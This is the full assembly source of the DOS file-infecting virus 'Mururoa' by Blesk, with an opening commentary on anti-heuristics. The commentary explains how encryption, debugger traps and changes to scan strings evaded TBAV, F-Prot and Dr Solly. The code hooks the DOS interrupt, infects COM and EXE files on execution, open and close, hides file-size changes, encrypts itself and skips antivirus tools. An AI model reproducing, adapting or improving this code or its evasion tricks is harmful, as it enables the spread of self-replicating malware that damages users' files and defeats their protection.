;
;                          |- Source of Kaos -|
;              |- Anti-Heursitics/Optimization/More Milage -|
;                      |- A Caveman Programmers View -|
;
;
;       Mururoa.2464 (AV name) where the fux did they get 2464 from ??
;
;                       This virus was written by Blesk
;
;       This virus is obviously a large virus when compiled and even larger
;       in this the raw form.  Give or take a few it's about 1,000 lines of
;       code.  Some of this code is in english some of it's in Russian so it
;       can be difficult to follow.
;
;       "Anti-Heuristics"
;       Encryption is possibley the most important part of the anti-heurstics
;       in this virus.  To get an idea of just how much encryption accomplished
;       When TBAV scaned the first generation of this virus you get a total of
;       12 flags.  When TBAV scans infected files you have between 3 and 5 flags.
;       The encryption used here is basic and thus gives you the # flag.  You
;       use this basic encryption to your advantage by putting anti-debugger
;       code in with the decryptor.  Debugger traps set of the # flag as well.
;
;       1st Gen Flags cFA#LMJZOXt     | Notice the drastic drop in the number
;       Infected      c#DTJt or c#TJ  | of flags when the virus is encrypted.
;
;       The tangle of jumps at the is used to hide the portion of code used to
;       get the delta offset.  This tangle of jumps helps hide things but the
;       tangle itself raises another flag (J).
;
;       Thunderbyte AV v7.07 used to find flags
;
;       FLAG    Guilty Code
;       c       none    caused by lack of anti-vir.dat file
;       F       mov     ax,4000h
;       A       mov     [ds:((offset orig_instr)-_q)],ax
;       #       decryptor - can be used to hide debugger traps
;       L       cmp     ax,4b00h
;       M       mov     ax,2521h
;       J       tangle of jumps at end of virus
;       Z       cmp     word ptr [cs:((offset exe_header)-_q)],5a4dh
;       X       cmp     ah,12h
;       t       int     1ah
;
;       "More Mileage" - the @2: pop si is a part of the scan string for this
;                        virus.  Dr Solly/F-Prot/TBAV
;       By putting a piece of code in front of the pop si all 3 scanners lost
;       the ability to identify the virus and in some cases even detect any of
;       the infected files.
;
;       "Optimization" - just replacing the xor dx,dx with cwd saves 5 bytes


.286
codes segment
             assume   cs:codes, ds:codes, ss:codes

             org      100h        ; modified first instruction

_z:          jmp      _virus
             nop
             nop
             mov        ax,4c00h
             int        21h
             nop
             db         0f5h dup(90h)

; ============== virus start here ==========================

_virus:      call       dec_of_dec
orig_instr:
             nop
             nop
             nop
             nop
epo:         dw         1
eps:         dw         2
ess:         dw         3
old_21:      dw         0,0
com_exe:     db         'c'
handle:      dw         0


text:        db         13,10
             db         0c9h,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh
             db         0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh
             db         0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh
             db         0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh
             db         0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0bbh,13,10
             db         0bah,'   I have one mesage to all people on earth :    ',0bah
             db         13,10
             db         0bah,' Stop all French nuclear testing in the PACIFIC  ',0bah
             db         13,10
             db         0bah,' Dont forgot :Comon people dont like nuc. tests! ',0bah
             db         13,10
             db         0bah,'      This is is a MURUROA  1.386 by Blesk       ',0bah
             db         13,10
             db         0bah,'    PLUTONIUM IS BETTER IN POWER-PLANT !!!!      ',0bah
             db         13,10
             db         0bah,'  My greet to VYVOJAR,SVL,METABOLIS and all IRC. ',0bah
             db         13,10
             db         0c8h,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh
             db         0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh
             db         0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh
             db         0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh
             db         0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0bch,13,10
             db         13,10,'$'

virussize    equ        (offset end_vir)-(offset _virus)

EXE_HEADER:  db         'MZ'                     ;header of exe file
lastpage:    dw         0                        ;Bytes in last page
nopages:     dw         0                        ;Count of pages
RELOC:       dw         0                        ;Count of relocate items
HederSize:   dw         0                        ;Heder size
MinMem:      dw         0
MaxMem:      dw         0
ReloSS:      dw         0                        ;Initial SS
ReloSP:      dw         0                        ;Initial SP
CeckSum:     dw         0                        ;DOS 3.00+ not use it !!!!
StartIP:     dw         0                        ;Starting IP
StartCS:     dw         0                        ;Starting CS
OfsRelo:     dw         0                        ;Relocation table's offset
OVRType:     dw         0                        ;0=Main segment

_q           equ        (offset _virus)

;==========================================================

_main:       pop        si
             push       si
             push       ax
             push       bx
             push       cx
             push       dx
             push       ds
             push       bp
             push       es

             push       cs
             pop        ds

             xor        ax,ax
             mov        es,ax
             mov        ax,[es:21h*4]

             mov        [ ds : si+((offset old_21)-_q)],ax

             mov        ax,[ es : 21h*4+2]

             mov        [ ds : si+((offset old_21)-_q+2)],ax

             mov        ax,[ es : 1ch*4]

             pop        es
             push       es
             mov        ax,es
             add        ax,10h

             add        [cs:si+((offset eps) - _q)],ax
             add        [cs:si+((offset ess) - _q)],ax
             cmp        byte ptr [cs:si+((offset com_exe) - _q)],'c'
             jnz        _exe_zac

             mov        ax,[cs:si+((offset orig_instr)-_q)]
             mov        [cs:100h],ax
             mov        ax,[cs:si+((offset orig_instr)-_q+2)]
             mov        [cs:102h],ax
             mov        [cs:si+((offset eps)-_q)],cs
             mov        [cs:si+((offset epo)-_q)],100h
             mov        [cs:si+((offset ess)-_q)],cs

_exe_zac:    mov        ax,6666h
             int        21h
             cmp        ax,1977h
             jz         _not_instal

             mov        ax,es
             dec        ax
             mov        es,ax
             cmp        byte ptr [es:0],5ah
             jnz        _end1

             mov        ax,[es:3]
             sub        ax,200h
             jc         _end1

             mov        [es:3],ax
             sub        word ptr [es:12h],200h
             mov        es,[es:12h]

             xor        di,di
             mov        cx,virussize
             cld
             push       si
             repz       movsb
             pop        si
             call       _instal

_not_instal: Call       _destruction
_end1:       pop        es
             pop        bp
             pop        ds
             pop        dx
             pop        cx
             pop        bx
             pop        ax
             pop        si
             mov        ss,[cs:si+((offset ess)-_q)]
             nop
             push       [cs:si+((offset eps)-_q)]
             nop
             push       [cs:si+((offset epo)-_q)]
             retf

;==========================================================
_instal:
             push       es
             pop        ds
             mov        ax,2521h
             mov        dx,(offset _int21)-_q
             int        21h

             ret
;==========================================================
dos:
             pushf
             db         2eh,0ffh,1eh             ; Call far [cs:xxxx]
             dw         ((offset old_21)-_q)     ; xxxx=old 21
             ret
;==========================================================
_destruction:

             ret

;==========================================================

_int21:
             pushf
             cmp        ax,6666h
             jnz        _next
             mov        ax,1977h
             popf
             iret
_next:
             cmp        ax,4b00h
             jz         _infect

             cmp        ah,4eh
             jz         ffvh3

             cmp        ah,4fh
             jz         ffvh3

             cmp        ah,12h
             jz         ffvfcb1

             cmp        ah,11h
             jz         ffvfcb1

             cmp        ah,3dh
             jz         ootvor_

             cmp        ah,57h
             jnz        QWEWQ
             call       casovac
             retf       2

QWEWQ:       cmp        ah,3eh
             jz         zzavri_
;========================================================
_jmp_dos:    popf
             db         2eh,0ffh,2eh
             dw         ((offset old_21)-_q)
;========================================================
ootvor_:
        jmp  otvor_
zzavri_:
        jmp  zatvor
;========================================================
_vypis:      push       ax
             push       dx
             push       cx
             push       ds

             push       cs
             pop        ds

             mov        ah,04
             int        1ah
             cmp        dl,04
             jnz        not_vypis

             mov        dx,(offset text)-_q
             mov        ah,09h
             call       dos

             mov        ah,08
             call       dos

not_vypis:
             pop        ds
             pop        cx
             pop        dx
             pop        ax

             ret
;==========================================================
ffvh3:       jmp        ffvh
ffvfcb1:     jmp        ffvfcb
;==========================================================
_infect:
             push       ax
             push       bx
             push       cx
             push       es
             push       dx
             push       ds

             call       infect_files

             pop        ds
             pop        dx
             pop        es
             pop        cx
             pop        bx
             pop        ax

             jmp        _jmp_dos

;=========================================================
infect_files:
             call       findstr
             cmp        byte ptr [cs:((offset nasiel_s)-_q)],0ffh
             jz         next_t
             jmp        NoInfecting
next_t:
             call       _vypis

             call       open
             mov        cx,4h
             mov        dx,((offset exe_header)-_q)
             call       read1
             cmp        word ptr [cs:((offset exe_header)-_q)],5a4dh
             jnz        com_infect
             call       exe_infect
             jmp        clo_infect
com_infect:  call       nakaz_com
clo_infect:  call       close
NoInfecting:
             ret
;=========================================================
nakaz_com:
             call       begin_file
             jc         cic

             mov        cx,4h
             mov        dx,((offset exe_header)-_q)
             call       read1
             jc         cic

             push       cs
             pop        ds
             mov        ax,[ds:((offset exe_header)-_q)]
             mov        [ds:((offset orig_instr)-_q)],ax
             mov        ax,[ds:((offset exe_header)-_q+2)]
             mov        [ds:((offset orig_instr)-_q+2)],ax

             call       end_file
             add        ax,virussize
             jc         cant_infect_com
             sub        ax,virussize

             mov        cx,0ffffh
             mov        dx,0fffeh
             mov        ax,4202h
             call       dos
             jc         cic

             mov        cx,2
             call       read2
             jc         cic
             cmp        word ptr [cs:((offset buff)-_q)],1110h
             jz         cant_infect_com

             call       end_file
             push       ax
             call       begin_file
             pop        ax

             sub        ax,3
             mov        [cs:((offset exe_header)-_q+1)],ax
             mov        al,0E9h
             mov        [cs:((offset exe_header)-_q)],al
             mov        cx,3h
             mov        dx,(offset exe_header)-_q
             mov        byte ptr [cs:((offset com_exe)-_q)],'c'
             call       write1
             jc         cic
             call       end_file
             jc         cic
             call       add_to_file
cic:
cant_infect_com:
            
          ret
;==========================================================
coc2:        jmp        ccoc

back:        ret
;==========================================================

exe_infect:
             mov        cx,0ffffh
             mov        dx,0fffeh
             mov        ax,4202h
             call       dos

             mov        cx,2
             call       read2
             cmp        word ptr [cs:((offset buff)-_q)],1110h
             jz         coc2

             call       begin_file

             cmp        word ptr [cs:((offset ovrtype)-_q)],0000
             jnz        coc2

             mov        cx,1ch
             mov        dx,(offset exe_header)-_q
             call       read1

             mov        bx,[cs:((offset reloSS)-_q)]
             mov        [cs:((offset ess)-_q)],bx
             mov        bx,[cs:((offset startIP)-_q)]
             mov        [cs:((offset epo)-_q)],bx
             mov        bx,[cs:((offset startCS)-_q)]
             mov        [cs:((offset eps)-_q)],bx


             add        word ptr [cs:((offset reloSS)-_q)],10h
             add        word ptr [cs:((offset minmem)-_q)],100h
             add        word ptr [cs:((offset maxmem)-_q)],100h
             jnc        NoCaryMem
             mov        word ptr [cs:((offset maxmem)-_q)],0ffffh
NoCaryMem:
             mov        byte ptr [cs:((offset com_exe)-_q)],'E'

              mov        ax,[cs:((offset nopages)-_q)]
              mov        bx,200h
              xor        dx,dx
              mul        bx

              add        ax,[cs:((offset lastpage)-_q)]
              adc        dx,0

              add        ax,virussize
              adc        dx,0

              mov        bx,200h
              div        bx
              mov        word ptr [cs:((offset lastpage)-_q)],dx
              mov        word ptr [cs:((offset nopages)-_q)],ax


             call       end_file

             push       si
             push       di

             mov        di,dx
             mov        si,ax

             mov        ax,[cs:((offset hedersize)-_q)]
             mov        bx,10h
             mul        bx

             sub        si,ax
             sbb        di,dx
             mov        dx,di
             mov        ax,si
             pop        di
             pop        si

             mov        bx,10h
             div        bx

             mov        [cs:((offset startIP)-_q)],dx
             mov        [cs:((offset startCS)-_q)],ax

             call       begin_file
             mov        cx,1ch
             mov        dx,((offset EXE_header)-_q)
             call       write1

             call       end_file
             call       add_to_file

ccoc:
@44:         ret

             jmp        exe_infect

;==================================================================
add_to_file:
             xor        ax,ax
             mov        si,ax
             int        1ah
             xor        cx,dx
             xor        cl,ch
             cmp        dl,0
             jz         add_to_file

             mov        ax,[cs:si]
             mov        [cs:si+virussize],ax
             mov        ax,[cs:si+2]
             mov        [cs:si+virussize+2],ax
             mov        ax,[cs:si+4]
             mov        [cs:si+virussize+4],ax
             mov        ax,[cs:si+6]
             mov        [cs:si+virussize+6],ax
             mov        ax,[cs:si+8]
             mov        [cs:si+virussize+8],ax
             mov        ax,[cs:si+10]
             mov        [cs:si+virussize+10],ax

             mov        dl,cl

             add        si,0012

             mov        cx,(offset d0)-_q-12

             push       dx
repeat:      mov        al,[cs:si]
             xor        al,dl
             mov        [cs:si+virussize],al
             inc        si
             inc        dl
             loop       repeat
             pop        dx
             mov        [cs:si+virussize],dl
             inc        si
             mov        cx,(offset dec_of_dec)-(offset d0)-1

repeat2:     mov        al,[cs:si]
             xor        al,dl
             mov        [cs:si+virussize],al
             inc        si
             loop       repeat2

             mov        cx,(offset end_vir)-(offset dec_of_dec)

repeat3:     mov        al,[cs:si]
             mov        [cs:si+virussize],al
             inc        si
             loop       repeat3

             mov        cx,virussize
             call       write2
             call       nastav_datum
             ret


;==========================================================

Nastav_datum:
             mov        ax,5700h
             mov        bx,[cs:((offset handle)-_q)]
             call       dos
             or         dh,0c0h
             mov        ax,5701h
             call       dos
             ret
;=============Cange DTA====================================
change_dta:  pushf
             push       ax
             push       bx
             push       cx
             push       dx
             push       es
             mov        ah,2fh
             call       dos
             mov        dx,[es:bx+18h]
             and        dh,0c0h
             cmp        dh,0c0h
             jnz        not_inf_dta;
             mov        dx,[es:bx+18h]
             and        dh,3fh
             mov        [es:bx+18h],dx
             sub        word ptr [es:bx+1ah],virussize
             sbb        word ptr [es:bx+1ch],0
not_inf_dta: pop        es
             pop        dx
             pop        cx
             pop        bx
             pop        ax
             popf
             ret
;=======find first via handle=============
ffvh:        popf
             call       dos
             jc         ffvh2
             call       change_dta
ffvh2:       retf       2

;======find first/next via fcb=============================
ffvfcb:      popf
             call       dos
             pushf
             cmp        al,00
             jnz        no_found
             push       ax
             push       bx
             push       cx
             push       dx
             push       es
             mov        ah,2fh
             call       dos
             mov        al,[es:bx]
             cmp        al,0ffh
             jnz        @ew
             add        bx,8
@ew:
             mov        dx,[es:bx+18h]
             and        dh,0c0h
             cmp        dh,0c0h
             jnz        not_inf_dta2;
             mov        dx,[es:bx+18h]
             and        dh,3fh
             mov        [es:bx+18h],dx
             sub        word ptr [es:bx+1ch],virussize
             sbb        word ptr [es:bx+1eh],0
not_inf_dta2:
             pop        es
             pop        dx
             pop        cx
             pop        bx
             pop        ax

no_found:    popf
             iret
;==========================================================
end_file:
             mov        ax,4202h
ttt:         push       cx
             push       bx
             mov        bx,[cs:((offset handle)-_q)]
             xor        cx,cx
             xor        dx,dx
             call       dos
             pop        bx
             pop        cx
             ret

begin_file:
             mov        ax,4200h
             jmp        ttt

open:
             mov        ax,3d02h
             call       dos
             mov        [cs:((offset handle)-_q)],ax
             ret

close:
             mov        ah,3eh
             call       ggg
             ret

ddd:         mov        dx,(offset buff)-_q
             ret

read2:       call       ddd
read1:       mov        ah,3fh
ggg:         push       cs
             pop        ds
             mov        bx,[cs:((offset handle)-_q)]
             call       dos
             ret

write2:      call       ddd
write1:      mov        ah,40h
             jmp        ggg
;----------------------------------------------------
analiza:
     ;      ds:dx  =>'c:\path\name.ext',0
      push  ax
      push  si
      push  dx
      push  dx  ;   ds:dx = ds:si
      pop   si
analiza2:
      cmp   byte ptr [si],'\'
      jz    lomitko
      cmp   byte ptr [si],0
      jz    end_name
      inc   si
      jmp   analiza2
lomitko:
      pop   ax
      inc   si
      push  si
      jmp   analiza2
end_name:
      pop   dx
      pop   si
      pop   ax
     ;      ds:dx  =>'name.ext',0
      ret


;-----------------------------------------------------------------------------
;Proced£ra FINDSTR zist¡ ‡i string na adrese DS:SI obsahuje niektor‚ zo slov
;v tabuŒke.
; Vstup:  DS:DX-> string
; V˜stup: NASIEL_S =0 nasiel  Nasiel_s = FFh nenasiel

FINDSTR1 proc near
         pusha
         jmp findstr2

FINDSTR :
         pusha
         mov  byte ptr [cs:((offset nasiel_s)-_q)],0ffh
         call analiza
         push dx
         pop  si
         mov di,(offset tab-_q)
findstr2:mov bp,si
 compar0:mov cx,0
 compar1:xor bx,bx
 compar2:mov ah,byte ptr cs:[di+bx] ;AH= znak z tabulky
         cmp ah,0                   ; Nove slovo ????
         jnz  nextwor
         cmp cx,0
         jnz found
         jz  nextword
nextwor:
         cmp ah,1
         jz found_1
         mov al,byte ptr ds:[si+bx] ;AL= znak z nazvu suboru

 ; Zmena velkych namale pismena

         cmp al,5bh             ;transform cia veŒk˜ch p¡smen na mal‚
         jns compar3
         cmp al,41h
         js compar3
         or al,20h

 compar3:
        cmp al,0
        jnz next_w              ;koniec nazvu (skus dalsiu)
        cmp cx,0
        jnz found
        jnz nextword
 next_w:
        inc bx
        inc dx
        inc cx
        cmp al,ah
        jz  compar2

 nextword:mov ah,cs:[di]
        inc di
        cmp ah,1                 ;posledn‚ slovo => neobsahuje
        jz found_1
        cmp ah,0                 ;si uz na zaciatku slova ????
        jnz nextword
        jmp compar0              ; Ano porovnaj ho !!!!!
  found:
        mov byte ptr [cs:((offset nasiel_s)-_q)],0h
found_1:popa
        ret

FINDSTR1 endp
nasiel_s:db 0
Exe db ".exe",0
Com db ".com",1
Tab db "avg",0
    db "fv386",0
    db "turbo",0
    db "fv86",0
    db "guard",0
    db "toolkit",0
    db "scan",0
    db "virlab",0
    db "vir",0
    db "asta",0
    db "vc",0
    db "sswap",0
    db "debug",0
    db "td",0
    db "stacker",0
    db "alik",0
    db "rex",0
    db "msav",0
    db "cpav",0
    db "nod",0
    db "clean",0
    db "f-pro",0
    db "tbav",0
    db "tbdriver",0
    db "tbclean",0
    db "tbscan",0
    db "avast",0
    db "nav",0
    db "vshie",0
    db "dizz",0
    db "command",0
    db "vsafe",1
;==============================================================
handle2:    dw 0000
subo        dw 0
pom         dw 0
otvor_:

        push    si
        pushf
        push    bx
        push    cx
        push    dx
        push    es
        push    ds
        push    ax
        mov     al,2   ; Aby bol vzdy pristup na zapis !!!
        call    dos
        jnc     _ccc
        jmp     _oexit
_ccc:
        mov     bx,ax
        mov     word ptr [cs:((offset pom)-_q)],ax
        mov     ax,5700h
        call    dos
        mov     al,dh
        and     al,0C0h
        cmp     al,0C0h
        jz      _c0         ; Ak je oznaceny datum skus odinfikovat !!!
        mov     ah,3eh
        call    dos         ; ak nie SKOC A OTVOR HO !!!
        jmp     _oexit
_c0:

         mov        bx,word ptr [cs:((offset pom)-_q)]
         mov        cx,4h
         mov        dx,((offset exe_header)-_q)
         call       read1
         cmp        word ptr [cs:((offset exe_header)-_q)],5a4dh
         jnz        com_deinfect2
         call       exe_desinfect
         jmp        clo_deinfect2
com_deinfect2:
         call    cisti_com
clo_deinfect2:

        call    nastav_datum

        mov     ah,3eh
        call    dos

        pop     ax
        mov     al,2
        jmp     _we3

_oexit:
        pop     ax
_we3:   pop     ds
        pop     es
        pop     dx
        pop     cx
        pop     bx
        popf
        pop     si
        jmp     _jmp_dos

;**************&&&&&&&&&&&&&&**************&&&&&&&&&&&*************

Zatvor:
        pushf
        push    ax
        push    bx
        push    cx
        push    dx
        push    es
        push    ds
        mov     word ptr [cs:((offset pom)-_q)],bx
        mov     ax,5700h
        call    dos
        jc      _cexit
        mov     al,dh
        and     al,0C0h
        cmp     al,0C0h
        jnz     _cexit
        push    cs
        pop     ds
;********************* Nacitat prve 5 byte ******************
        ;Nakazenie suborov
             mov        bx,word ptr [cs:((offset pom)-_q)]
             mov        word ptr [cs:((offset handle)-_q)],bx
             mov        cx,4h
             mov        dx,((offset exe_header)-_q)
             call       read1
             cmp        word ptr [cs:((offset exe_header)-_q)],5a4dh
             jnz        com_infect2
             call       exe_infect
             jmp        clo_infect2
com_infect2:  call       nakaz_com
clo_infect2:
             call       nastav_datum;
_cexit:
        pop     ds
        pop     es
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        popf
        jmp     _jmp_dos

cistil: db  0

;==============================================================
exe_desinfect:
             mov        cx,0ffffh
             mov        dx,0fffeh
             mov        ax,4202h
             call       dos

             mov        cx,2
             call       read2
             cmp        word ptr [cs:((offset buff)-_q)],1110h
             jz         koc3
             jmp        koc2
koc3:

             call       begin_file

             mov        cx,1ch
             mov        dx,(offset exe_header)-_q
             call       read1

             mov        bx,[cs:((offset ess)-_q)]
             mov        [cs:((offset reloSS)-_q)],bx
             mov        bx,[cs:((offset epo)-_q)]
             mov        [cs:((offset startIP)-_q)],bx
             mov        bx,[cs:((offset eps)-_q)]
             mov        [cs:((offset startCS)-_q)],bx


;             sub        word ptr [cs:((offset reloSS)-_q)],10h
;             sub        word ptr [cs:((offset minmem)-_q)],100h
;             sub        word ptr [cs:((offset maxmem)-_q)],100h

              mov        ax,[cs:((offset nopages)-_q)]
              mov        bx,200h
              xor        dx,dx
              mul        bx
              add        ax,[cs:((offset lastpage)-_q)]
              adc        dx,0
              sub        ax,virussize
              sbb        dx,0
              mov        bx,200h
              div        bx
              mov        word ptr [cs:((offset lastpage)-_q)],dx
              mov        word ptr [cs:((offset nopages)-_q)],ax

             call       begin_file
             mov        cx,1ch
             mov        dx,((offset EXE_header)-_q)
             call       write1

             mov        ax,4202h
             mov        cx,0ffffh
             mov        dx,cx
             sub        dx,virussize
             inc        dx
             mov        bx,[cs:((offset handle)-_q)]
             call       dos
             jc         koc2

             call       nastav_datum
             mov        ax,4001h
             xor        cx,cx
             xor        dx,dx
             call       dos
             jc         koc2

             call       nastav_datum
koc2:        ret


;==============================================================
;==============================================================
cisti_com:
             pusha
             mov        ax,4202h
             mov        cx,0ffffh
             mov        dx,cx
             sub        dx,01h
             mov        bx,[cs:((offset handle)-_q)]
             call       dos
             jnc         _kon1_
             jmp        _kon1
_kon1_:
             push       cs
             pop        ds
             mov        ah,3fh
             mov        dx,((offset buff)-_q)
             mov        cx,2
             call       dos
             jnc         _kon2_
             jmp        _kon1
_kon2_:
             cmp        word ptr [cs:((offset buff)-_q)],1110h
             jz         _kon3_
             jmp        _kon1
_kon3_:
             push       cs
             pop        ds

             mov        ax,4202h
             mov        cx,0ffffh
             mov        dx,cx
             sub        dx,virussize
             add        dx,1+3
             mov        bx,[cs:((offset handle)-_q)]
             call       dos
             jnc        next55
             jmp        _kon1
next55:
             push       cs
             pop        ds
             mov        ah,3fh
             mov        dx,((offset buff)-_q)
             mov        cx,3
             call       dos
             jc         _kon1

_no_decod:
             mov        ax,4200h
             xor        cx,cx
             mov        dx,cx
             mov        bx,[cs:((offset handle)-_q)]
             call       dos
             jc         _kon1

             mov        ax,4000h
             mov        cx,3
             mov        dx,((offset buff)-_q)
             call       dos
             jc         _kon1

             mov        ax,4202h
             mov        cx,0ffffh
             mov        dx,cx
             sub        dx,virussize
             inc        dx
             mov        bx,[cs:((offset handle)-_q)]
             call       dos
             jc         _kon1

             mov        ax,4001h
             xor        cx,cx
             xor        dx,dx
             call       dos
             jc         _kon1

             mov        byte ptr [cs:((offset cistil)-_q)],0ffh

             jmp        _kon2
 _kon1:
             mov        word ptr [cs:((offset handle)-_q)],00
 _kon2:      popa
             ret

;==============================================================
casovac:     cmp        al,00
             jz         casovac_zisti
casovac_nastav:
             push       ax
             push       cx
             push       dx
             mov        ax,5700h
             call       dos
             and        dh,3fh
             cmp        dh,3fh
             pop        dx
             pop        cx
             pop        ax
             jnz        nastav
             or         dx,3fh
nastav:      call       dos
             ret
casovac_zisti:
             call       dos
             and        dh,3fh
             ret

;==============================================================
d0:          db         0
_virus_dec:  pop        si
             sub        si,3
             push       si
             mov        dl,[cs: si+((offset d0)-_q)]
             cmp        dl,0
             jz         nodec
             mov        cx,(offset d0)-_q-12
             add        si,12
aa:          mov        al,[cs:si]
             xor        al,dl
             mov        [cs:si],al
             inc        si
             inc        dl
             loop       aa
nodec:       jmp        _main

dec_of_dec:  JMP        @1
@8:          loop       next
             jmp        no_dec1
@2:          pop        si                     ; |- Add Int 3h here to confuse
             jmp        @3                     ; |- AV scanners
next:        xor        [cs:si],dl
             jmp        @7
@5:          mov        cx,((offset dec_of_dec)-(offset _virus_dec))
             jmp        @6
@4:          mov        dl,[cs:si+(((offset d0)-_q)-3)]
             jmp        @5
@6:          add        si,((offset _virus_dec)-_q)-3
             jmp        next
@7:          inc        si
             jmp        @8
no_dec1:     jmp        _virus_dec
@3:          push       si
             JMP        @4
@1:          NOP
             JMP        @2
             dw         1110h
end_vir:
buff:
codes ends
end _z